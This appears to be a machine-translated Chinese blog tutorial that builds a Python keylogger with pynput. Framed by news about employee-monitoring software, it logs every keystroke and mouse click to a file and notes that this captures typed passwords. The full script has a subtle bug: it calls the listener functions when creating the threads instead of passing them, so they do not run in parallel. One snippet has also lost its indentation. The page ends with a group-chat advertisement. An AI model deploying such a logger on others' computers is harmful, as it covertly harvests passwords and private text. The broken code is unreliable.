Using Python to write Moyu monitoring process, really fragrant

Following the monitoring of fishing behaviors such as playing games and watching videos, the tendency of migrant workers to leave will also be monitored.

Some netizens broke the news that Zhihu is laying off staff in a low-key manner, and the video-related department will cut almost half. In the discussion area of ​​Zhihu layoffs, some netizens said that the company has installed a behavioral awareness system, which can know in advance that employees are thinking of changing jobs.

While Zhihu denied the layoff plan, it also stated that it has never installed and used the behavior perception system mentioned on the Internet, and will not use similar software tools in the future.

Because of this incident, Sangfor has been pushed to the forefront, and public opinion has attracted more and more attention.

For a time, there were endless discussions of "it's too difficult to work as a worker" and "no privacy at all".

Today, I will show you how to monitor your computer by writing a few lines of Python code.

monitor keyboard

If the company secretly runs a background process on our computer to monitor our keyboard events, the simplest python writing is roughly like this:

from pynput import keyboard
 
def on_press(key):
    print(f'{key} :pushed')
 
 
def on_release(key):
    if key == keyboard.Key.esc:
        return False
 
 
with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
    lsn.join()

Feel free to hit the keyboard and you'll see output like this from the console:

The content of the code is two methods, one is to listen to the key event, the other is to listen to the exit event - press the ESC button and release it to exit.

monitor mouse

If you also want to monitor mouse events, then this code will do:

from pynput import mouse
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')

Define the mouse listener thread

with mouse.Listener(on_click=on_click) as listener:
listener.join()
This code is mainly to monitor the left and right button clicks of the mouse. After operating the mouse, you can see the console prints the following results:

If you are careful, you will find that each click event is printed twice. This is because both press and release trigger mouse events.

Record monitoring logs

Now that there are keyboard events and mouse events, it's time to combine the two and log the user's actions. Here we use loguru to record logs, this python module we have also talked about in previous articles.

The whole code is as follows:

from pynput import keyboard, mouse
from loguru import logger
from threading import Thread

# 定义日志文件
logger.add('moyu.log')


def on_press(key):
   logger.debug(f'{key} :pushed')


def on_release(key):
   if key == keyboard.Key.esc:
       return False


# 定义键盘监听线程
def press_thread():
   with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
       lsn.join()


def on_click(x, y, button, pressed):
   if button == mouse.Button.left:
       logger.debug('left was pressed!')
   elif button == mouse.Button.right:
       logger.debug('right was pressed!')
   else:
       return False


# 定义鼠标监听线程
def click_thread():
   with mouse.Listener(on_click=on_click) as listener:
       listener.join()


if __name__ == '__main__':
   # 起两个线程分别监控键盘和鼠标
   t1 = Thread(target=press_thread())
   t2 = Thread(target=click_thread())
   t1.start()
   t2.start()

After running, you can see the following content in the log file in the same directory:

Summarize

This article mainly explains how to record keyboard and mouse operations through the python module pynput. These simple lines of code can be used to monitor simple operations such as entering passwords, but for complex statements such as chat records, you also need to use NLTK language for logs to restore your chat records.

After learning this, what would you most like to do? Welcome to leave a message in the comment area!

At the end, I will also give you a python spree [Jiajun Yang: 419693945] to help you learn better!

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=324341362&siteId=291194637